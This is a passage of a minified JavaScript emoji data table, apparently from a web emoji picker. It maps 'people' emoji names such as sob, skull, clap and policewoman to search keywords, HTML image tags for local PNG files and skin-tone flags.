src="1f613.png"/>',fitzpatrick_scale:!1,category:"people"},hot:{keywords:["face","feverish","heat","red","sweating"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd75" src="1f975.png"/>',fitzpatrick_scale:!1,category:"people"},cold:{keywords:["face","blue","freezing","frozen","frostbite","icicles"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd76" src="1f976.png"/>',fitzpatrick_scale:!1,category:"people"},sob:{keywords:["face","cry","tears","sad","upset","depressed"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2d" src="1f62d.png"/>',fitzpatrick_scale:!1,category:"people"},dizzy_face:{keywords:["spent","unconscious","xox","dizzy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude35" src="1f635.png"/>',fitzpatrick_scale:!1,category:"people"},astonished:{keywords:["face","xox","surprised","poisoned"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude32" src="1f632.png"/>',fitzpatrick_scale:!1,category:"people"},zipper_mouth_face:{keywords:["face","sealed","zipper","secret"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd10" src="1f910.png"/>',fitzpatrick_scale:!1,category:"people"},nauseated_face:{keywords:["face","vomit","gross","green","sick","throw up","ill"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd22" src="1f922.png"/>',fitzpatrick_scale:!1,category:"people"},sneezing_face:{keywords:["face","gesundheit","sneeze","sick","allergy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd27" src="1f927.png"/>',fitzpatrick_scale:!1,category:"people"},vomiting:{keywords:["face","sick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2e" src="1f92e.png"/>',fitzpatrick_scale:!1,category:"people"},mask:{keywords:["face","sick","ill","disease"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude37" src="1f637.png"/>',fitzpatrick_scale:!1,category:"people"},face_with_thermometer:{keywords:["sick","temperature","thermometer","cold","fever"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd12" src="1f912.png"/>',fitzpatrick_scale:!1,category:"people"},face_with_head_bandage:{keywords:["injured","clumsy","bandage","hurt"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd15" src="1f915.png"/>',fitzpatrick_scale:!1,category:"people"},woozy:{keywords:["face","dizzy","intoxicated","tipsy","wavy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd74" src="1f974.png"/>',fitzpatrick_scale:!1,category:"people"},sleeping:{keywords:["face","tired","sleepy","night","zzz"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude34" src="1f634.png"/>',fitzpatrick_scale:!1,category:"people"},zzz:{keywords:["sleepy","tired","dream"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca4" src="1f4a4.png"/>',fitzpatrick_scale:!1,category:"people"},poop:{keywords:["hankey","shitface","fail","turd","shit"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca9" src="1f4a9.png"/>',fitzpatrick_scale:!1,category:"people"},smiling_imp:{keywords:["devil","horns"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude08" src="1f608.png"/>',fitzpatrick_scale:!1,category:"people"},imp:{keywords:["devil","angry","horns"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7f" src="1f47f.png"/>',fitzpatrick_scale:!1,category:"people"},japanese_ogre:{keywords:["monster","red","mask","halloween","scary","creepy","devil","demon","japanese","ogre"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc79" src="1f479.png"/>',fitzpatrick_scale:!1,category:"people"},japanese_goblin:{keywords:["red","evil","mask","monster","scary","creepy","japanese","goblin"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7a" src="1f47a.png"/>',fitzpatrick_scale:!1,category:"people"},skull:{keywords:["dead","skeleton","creepy","death"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc80" src="1f480.png"/>',fitzpatrick_scale:!1,category:"people"},ghost:{keywords:["halloween","spooky","scary"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7b" src="1f47b.png"/>',fitzpatrick_scale:!1,category:"people"},alien:{keywords:["UFO","paul","weird","outer_space"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7d" src="1f47d.png"/>',fitzpatrick_scale:!1,category:"people"},robot:{keywords:["computer","machine","bot"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd16" src="1f916.png"/>',fitzpatrick_scale:!1,category:"people"},smiley_cat:{keywords:["animal","cats","happy","smile"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3a" src="1f63a.png"/>',fitzpatrick_scale:!1,category:"people"},smile_cat:{keywords:["animal","cats","smile"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude38" src="1f638.png"/>',fitzpatrick_scale:!1,category:"people"},joy_cat:{keywords:["animal","cats","haha","happy","tears"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude39" src="1f639.png"/>',fitzpatrick_scale:!1,category:"people"},heart_eyes_cat:{keywords:["animal","love","like","affection","cats","valentines","heart"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3b" src="1f63b.png"/>',fitzpatrick_scale:!1,category:"people"},smirk_cat:{keywords:["animal","cats","smirk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3c" src="1f63c.png"/>',fitzpatrick_scale:!1,category:"people"},kissing_cat:{keywords:["animal","cats","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3d" src="1f63d.png"/>',fitzpatrick_scale:!1,category:"people"},scream_cat:{keywords:["animal","cats","munch","scared","scream"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude40" src="1f640.png"/>',fitzpatrick_scale:!1,category:"people"},crying_cat_face:{keywords:["animal","tears","weep","sad","cats","upset","cry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3f" src="1f63f.png"/>',fitzpatrick_scale:!1,category:"people"},pouting_cat:{keywords:["animal","cats"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude3e" src="1f63e.png"/>',fitzpatrick_scale:!1,category:"people"},palms_up:{keywords:["hands","gesture","cupped","prayer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd32" src="1f932.png"/>',fitzpatrick_scale:!0,category:"people"},raised_hands:{keywords:["gesture","hooray","yea","celebration","hands"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4c" src="1f64c.png"/>',fitzpatrick_scale:!0,category:"people"},clap:{keywords:["hands","praise","applause","congrats","yay"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4f" src="1f44f.png"/>',fitzpatrick_scale:!0,category:"people"},wave:{keywords:["hands","gesture","goodbye","solong","farewell","hello","hi","palm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4b" src="1f44b.png"/>',fitzpatrick_scale:!0,category:"people"},call_me_hand:{keywords:["hands","gesture"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd19" src="1f919.png"/>',fitzpatrick_scale:!0,category:"people"},"+1":{keywords:["thumbsup","yes","awesome","good","agree","accept","cool","hand","like"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4d" src="1f44d.png"/>',fitzpatrick_scale:!0,category:"people"},"-1":{keywords:["thumbsdown","no","dislike","hand"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4e" src="1f44e.png"/>',fitzpatrick_scale:!0,category:"people"},facepunch:{keywords:["angry","violence","fist","hit","attack","hand"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4a" src="1f44a.png"/>',fitzpatrick_scale:!0,category:"people"},fist:{keywords:["fingers","hand","grasp"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270a" src="270a.png"/>',fitzpatrick_scale:!0,category:"people"},fist_left:{keywords:["hand","fistbump"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1b" src="1f91b.png"/>',fitzpatrick_scale:!0,category:"people"},fist_right:{keywords:["hand","fistbump"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1c" src="1f91c.png"/>',fitzpatrick_scale:!0,category:"people"},v:{keywords:["fingers","ohyeah","hand","peace","victory","two"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270c" src="270c.png"/>',fitzpatrick_scale:!0,category:"people"},ok_hand:{keywords:["fingers","limbs","perfect","ok","okay"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc4c" src="1f44c.png"/>',fitzpatrick_scale:!0,category:"people"},raised_hand:{keywords:["fingers","stop","highfive","palm","ban"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270b" src="270b.png"/>',fitzpatrick_scale:!0,category:"people"},raised_back_of_hand:{keywords:["fingers","raised","backhand"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1a" src="1f91a.png"/>',fitzpatrick_scale:!0,category:"people"},open_hands:{keywords:["fingers","butterfly","hands","open"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc50" src="1f450.png"/>',fitzpatrick_scale:!0,category:"people"},muscle:{keywords:["arm","flex","hand","summer","strong","biceps"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcaa" src="1f4aa.png"/>',fitzpatrick_scale:!0,category:"people"},pray:{keywords:["please","hope","wish","namaste","highfive"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4f" src="1f64f.png"/>',fitzpatrick_scale:!0,category:"people"},foot:{keywords:["kick","stomp"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb6" src="1f9b6.png"/>',fitzpatrick_scale:!0,category:"people"},leg:{keywords:["kick","limb"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb5" src="1f9b5.png"/>',fitzpatrick_scale:!0,category:"people"},handshake:{keywords:["agreement","shake"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1d" src="1f91d.png"/>',fitzpatrick_scale:!1,category:"people"},point_up:{keywords:["hand","fingers","direction","up"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u261d" src="261d.png"/>',fitzpatrick_scale:!0,category:"people"},point_up_2:{keywords:["fingers","hand","direction","up"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc46" src="1f446.png"/>',fitzpatrick_scale:!0,category:"people"},point_down:{keywords:["fingers","hand","direction","down"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc47" src="1f447.png"/>',fitzpatrick_scale:!0,category:"people"},point_left:{keywords:["direction","fingers","hand","left"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc48" src="1f448.png"/>',fitzpatrick_scale:!0,category:"people"},point_right:{keywords:["fingers","hand","direction","right"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc49" src="1f449.png"/>',fitzpatrick_scale:!0,category:"people"},fu:{keywords:["hand","fingers","rude","middle","flipping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd95" src="1f595.png"/>',fitzpatrick_scale:!0,category:"people"},raised_hand_with_fingers_splayed:{keywords:["hand","fingers","palm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd90" src="1f590.png"/>',fitzpatrick_scale:!0,category:"people"},love_you:{keywords:["hand","fingers","gesture"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1f" src="1f91f.png"/>',fitzpatrick_scale:!0,category:"people"},metal:{keywords:["hand","fingers","evil_eye","sign_of_horns","rock_on"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd18" src="1f918.png"/>',fitzpatrick_scale:!0,category:"people"},crossed_fingers:{keywords:["good","lucky"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd1e" src="1f91e.png"/>',fitzpatrick_scale:!0,category:"people"},vulcan_salute:{keywords:["hand","fingers","spock","star trek"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd96" src="1f596.png"/>',fitzpatrick_scale:!0,category:"people"},writing_hand:{keywords:["lower_left_ballpoint_pen","stationery","write","compose"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270d" src="270d.png"/>',fitzpatrick_scale:!0,category:"people"},selfie:{keywords:["camera","phone"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd33" src="1f933.png"/>',fitzpatrick_scale:!0,category:"people"},nail_care:{keywords:["beauty","manicure","finger","fashion","nail"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc85" src="1f485.png"/>',fitzpatrick_scale:!0,category:"people"},lips:{keywords:["mouth","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc44" src="1f444.png"/>',fitzpatrick_scale:!1,category:"people"},tooth:{keywords:["teeth","dentist"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb7" src="1f9b7.png"/>',fitzpatrick_scale:!1,category:"people"},tongue:{keywords:["mouth","playful"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc45" src="1f445.png"/>',fitzpatrick_scale:!1,category:"people"},ear:{keywords:["face","hear","sound","listen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc42" src="1f442.png"/>',fitzpatrick_scale:!0,category:"people"},nose:{keywords:["smell","sniff"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc43" src="1f443.png"/>',fitzpatrick_scale:!0,category:"people"},eye:{keywords:["face","look","see","watch","stare"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc41" src="1f441.png"/>',fitzpatrick_scale:!1,category:"people"},eyes:{keywords:["look","watch","stalk","peek","see"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc40" src="1f440.png"/>',fitzpatrick_scale:!1,category:"people"},brain:{keywords:["smart","intelligent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde0" src="1f9e0.png"/>',fitzpatrick_scale:!1,category:"people"},bust_in_silhouette:{keywords:["user","person","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc64" src="1f464.png"/>',fitzpatrick_scale:!1,category:"people"},busts_in_silhouette:{keywords:["user","person","human","group","team"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc65" src="1f465.png"/>',fitzpatrick_scale:!1,category:"people"},speaking_head:{keywords:["user","person","human","sing","say","talk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde3" src="1f5e3.png"/>',fitzpatrick_scale:!1,category:"people"},baby:{keywords:["child","boy","girl","toddler"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc76" src="1f476.png"/>',fitzpatrick_scale:!0,category:"people"},child:{keywords:["gender-neutral","young"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd2" src="1f9d2.png"/>',fitzpatrick_scale:!0,category:"people"},boy:{keywords:["man","male","guy","teenager"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc66" src="1f466.png"/>',fitzpatrick_scale:!0,category:"people"},girl:{keywords:["female","woman","teenager"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc67" src="1f467.png"/>',fitzpatrick_scale:!0,category:"people"},adult:{keywords:["gender-neutral","person"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd1" src="1f9d1.png"/>',fitzpatrick_scale:!0,category:"people"},man:{keywords:["mustache","father","dad","guy","classy","sir","moustache"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68" src="1f468.png"/>',fitzpatrick_scale:!0,category:"people"},woman:{keywords:["female","girls","lady"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69" src="1f469.png"/>',fitzpatrick_scale:!0,category:"people"},blonde_woman:{keywords:["woman","female","girl","blonde","person"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc71\u200d\u2640\ufe0f" src="1f471-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},blonde_man:{keywords:["man","male","boy","blonde","guy","person"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc71" src="1f471.png"/>',fitzpatrick_scale:!0,category:"people"},bearded_person:{keywords:["person","bewhiskered"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd4" src="1f9d4.png"/>',fitzpatrick_scale:!0,category:"people"},older_adult:{keywords:["human","elder","senior","gender-neutral"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd3" src="1f9d3.png"/>',fitzpatrick_scale:!0,category:"people"},older_man:{keywords:["human","male","men","old","elder","senior"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc74" src="1f474.png"/>',fitzpatrick_scale:!0,category:"people"},older_woman:{keywords:["human","female","women","lady","old","elder","senior"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc75" src="1f475.png"/>',fitzpatrick_scale:!0,category:"people"},man_with_gua_pi_mao:{keywords:["male","boy","chinese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc72" src="1f472.png"/>',fitzpatrick_scale:!0,category:"people"},woman_with_headscarf:{keywords:["female","hijab","mantilla","tichel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd5" src="1f9d5.png"/>',fitzpatrick_scale:!0,category:"people"},woman_with_turban:{keywords:["female","indian","hinduism","arabs","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc73\u200d\u2640\ufe0f" src="1f473-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_with_turban:{keywords:["male","indian","hinduism","arabs"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc73" src="1f473.png"/>',fitzpatrick_scale:!0,category:"people"},policewoman:{keywords:["woman","police","law","legal","enforcement","arrest","911","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6e\u200d\u2640\ufe0f" src="1f46e-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},policeman:{keywords:["man","police","law","legal","enforcement","arrest","911"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6e" src="1f46e.png"/>',fitzpatrick_scale:!0,category:"people"},construction_worker_woman:{keywords:["female","human","wip","build","construction","worker","labor","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc77\u200d\u2640\ufe0f" src="1f477-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},construction_worker_man:{keywords:["male","human","wip","guy","build","construction","worker","labor"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc77" src="1f477.png"/>',fitzpatrick_scale:!0,category:"people"},guardswoman:{keywords:["uk","gb","british","female","royal","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc82\u200d\u2640\ufe0f" src="1f482-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},guardsman:{keywords:["uk","gb","british","male","guy","royal"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc82" src="1f482.png"/>',fitzpatrick_scale:!0,category:"people"},female_detective:{keywords:["human","spy","detective","female","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd75\ufe0f\u200d\u2640\ufe0f" src="1f575-fe0f-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},male_detective:{keywords:["human","spy","detective"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd75" src="1f575.png"/>',fitzpatrick_scale:!0,category:"people"},woman_health_worker:{keywords:["doctor","nurse","therapist","healthcare","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2695\ufe0f" src="1f469-200d-2695-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},man_health_worker:{keywords:["doctor","nurse","therapist","healthcare","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2695\ufe0f" src="1f468-200d-2695-fe0f.png"/>',fitzpatrick_scale:!0,category:"people"},woman_farmer:{keywords:["rancher","gardener","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf3e" src="1f469-200d-1f33e.png"/>',fitzpatrick_scale:!0,category:"people"},man_farmer:{keywords:["rancher","gardener","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf3e" src="1f468-200d-1f33e.png"/>',fitzpatrick_scale:!0,category:"people"},woman_cook:{keywords:["chef","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf73" src="1f469-200d-1f373.png"/>',fitzpatrick_scale:!0,category:"people"},man_cook:{keywords:["chef","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf73" src="1f468-200d-1f373.png"/>',fitzpatrick_scale:!0,category:"people"},woman_student:{keywords:["graduate","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf93" src="1f469-200d-1f393.png"/>',fitzpatrick_scale:!0,category:"people"},man_student:{keywords:["graduate","man","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf93" src="1f468-200d-1f393.png"/>',fitzpatrick_scale:!0,category:"people"},woman_singer:{keywords:["rockstar","entertainer","woman","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfa4" src="1f469-200d-1f3a4.png"/>',fitzpatrick_scale:!0,category:"people"},man_singer:{keywords:["rockstar","entertainer","man","human"],char:'<img data-emoticon="true" 